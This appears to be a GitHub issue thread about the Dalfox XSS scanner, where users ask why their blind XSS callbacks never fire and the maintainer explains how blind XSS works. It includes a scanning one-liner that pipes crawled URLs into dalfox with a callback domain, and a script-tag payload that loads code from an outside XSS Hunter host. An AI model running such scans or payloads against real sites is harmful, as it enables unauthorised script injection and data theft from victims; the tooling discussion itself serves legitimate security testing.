Blind XSS payload is ignored

[Sicks3c]

Summary

Hello First of all thanks for the awesome tool , I wanted to make some BXSS attack oneliner and I used your tool to perform such action

Description

XSS get triggered but my blind XSS is ignored .. After visiting the links the payload used is not my BXSS payload

Command

echo "testphp.vulnweb.com" |  waybackurls | anti-burl | grep -Eo "https?://[^\"\\'> ]+" | grep "=" | grep -v ".jpg\|.png\|.css\|.js" | dalfox pipe -b https://sicksec.xss.ht

Requirement go get -v github.com/tomnomnom/waybackruls go get -v github.com/tomnomnom/hacks/anti-burl

System Config

Ubuntu 18.04 Go1.14 Dalfox 1.1.2

[hahwul]

Hi bro! thank you for submit :D

First, I don't think I understand the point exactly, do you mean when I approach the link shown in Verify?

--blind option is an option to test the blind XSS together with existing testing logic. And in the case of blind XSS, it doesn't appear in the results because it doesn't perform a reflected and verify check (the trigger should be obtained through your blind xss callback address).

If it's a different question than what I said, please let me know!

[Sicks3c]

Thank for coming back to me @hahwul so my point is using the oneliner I showed you I wanted to test for XSS in the wild and when it find one I wanted to use your payload with my BXSS so that's what the flag -b is for In that case is -b and --blind are the same of differents ?

Regards

[hahwul]

@amiralkizaru Then the blind xss will be alerted to the email set in your xss hunter when triggered (as in the image below).

There's no difference between -b and --blind, it's just a short flag and a long flag one. Oh, and if you want to see if the blind xss code was transmitted normally --proxy option can be passed to buff or zap for checking!

e.g

$ dalfox url {target} --proxy http://127.0.0.1:8080 -b yours.xss.ht

[hahwul]

@amiralkizaru Feel free to let me know if you have any more questions!

[Sicks3c]

@hahwul I'm kinda using VPS so I can't send data to burp from it I tried but still same not receiving anything on my XSSHunter Can you use my payload sicksec.xss.ht Check here https://vimeo.com/420004342

[hahwul]

@amiralkizaru I saw the video you sent me. I think it's a natural result. Because the blind xss code has never been triggered. When a vulnerable page is rendered in server-side or when a blind xss code is inserted in another administrator page, etc., it is triggered by the user using that page. The payload you pasted is the reflected xss payload.

As I said above, the blind payload is not checked reflected/verify. Because the attacker doesn't have to see if the blind xss is reflected. So you can't check the success of the blind xss through the dalfox. When someone calls your blind xss code, the data will come in through the XSSHunter.

If you want to know if payload is actually transmitted, look for packet capture tools such as wireshark or tcpdump.

See the code below! CALLBACKURL replaced with the your blind xss url. https://github.com/hahwul/dalfox/blob/master/pkg/scanning/payload.go#L21

[hahwul]

@amiralkizaru If you just want to check the receive results with XSSHunter, you open your blind XSS code on browser. (you're the attacker and the victim)

<script src=//sicksec.xss.ht></script>

If you don't understand, tell me!

[Sicks3c]

Hello @hahwul I actually understood what you meant and thank you for taking the time to reply to me everything is clear the only thing I'm still confused about is I though that when you add your blind XSS this process you explain will be done automatically is the script says that the XSS has been triggered mean that he actually checked that Which means that it should be on my XSS Hunter and correct me if i'm wrong

Regards

[hahwul]

Hi @amiralkizaru Oh, are you confused because of the triggered log from display? Dalfox basically checks the object based on DOM and reflected check in response. So the trigger on the screen means it was detected in the DOM check, which means it's very likely that it's actually a valid payload(not blind). It doesn't check the trigger of blind xss directly from the dalfox.

It is up to XSSHunter to accept callback when someone triggers on the blind xss. Dalfox is sending an attack code with your callback address to all parameters to deliver. Please refer to it!

I don't know if I understood your opinion correctly but it would have helped you. Let me know if you got it wrong :D

[ceylanb]

The same problem. I have tried the following command and nothing was changed in my xss hunter panel.

echo "https://xss-game.appspot.com/level1/frame?query=test" | dalfox pipe -blind https://<test>.xss.ht -o result.txt

[hahwul]

Hi @ceylanb :D Is the page vulnerable to blind xss? As mentioned above, blind xss need the victim to access the XSS code for trigger.

I do not judge that this is a problem. The -b option is to pass the blank xss code together for blind xss testing. The scanner should never trigger this. What appears on the screen is a DOM verify(trigger)/reflected result of basic xss testing, and the blind xss is supposed to cross over to the xsshunter when triggered by the actual victim.

Conversely, if the dalfox triggers the blind xss, that's really a bad idea and a problem. Scanners only deliver blind xss. trigger is victim role.

[Sicks3c]

@hahwul

In order to trigger the Blind XSS as you said you need the victim to visit your page with the payload to see that happen which is most like to happen

[ceylanb]

@hahwul I got the point. What I understand is that to trigger the blind XSS, "Stored XSS" is needed.

[hahwul]

@amiralkizaru That's right. Exactly. Eventually, the blind xss is stored somewhere, waiting for the victim to approach!

So you just need to pass the payload to all parameters, whether or not the XSS code is reflected to be stored somewhere. More than that, it's the victim's job. Because we don't know where to store it. That's blind xss. Do you have any more questions?

@ceylanb Yeah, it's similar to stored xss, but if there's a difference, if we can check and know where xss code, it's "stored xss" and if we can't, it's "blind xss".

So, for blind xss, we are just meticulously delivering payloads to every input section.

[hahwul]

@ceylanb @amiralkizaru So that's why I didn't think it was an issue when this thread was created. For Blind XSS, the scanner's job is to deliver the payload meticulously, and if the scanner randomly browses the XSS code and induces callback to the XSSHunter, it's a complete false positive.

As mentioned above, if you want to see payload coming through XSShunter, you can open Blind XSS payload directly on the web page!

https://www.w3schools.com/tryit/tryit.asp?filename=tryhtml_default

If you have any more questions, please comment :D

[Sicks3c]

@hahwul

Thank's again for the reply I think it's better if you can record a quick demo when you play the attacker and victim role to see how you trigger the payload and make it in XSSHunter because for me the payloads are not triggered even the generation doesn't have my payload on it That's what I get when I visit the page Opening the payload triggered here doesn't show anything on my xsshunter

[hahwul]

Hi @amiralkizaru I think repeating the same talk again, the trigger on the dalfox scan results is the result of the reflected or stored xss. Blind xss can't be identified by the tool. We don't know when, where, or how it'll trigger. If the scanner triggers the blind xss code, it's reflected or stored xss.

Now, is there your xsshunter payload in the screenshot you sent me? You don't have it, do you? Because the blind xss scanning is only sending packet. It's the role of blind xss tools(xschunter, esxss, etc..) to detect and communicate results to users.

I can make you a demo if you want. But I think we need to know exactly about blind xss. Is the blind xss that I think is different from the blind xss that you think?

finally I don't know exactly what problem you're talking about.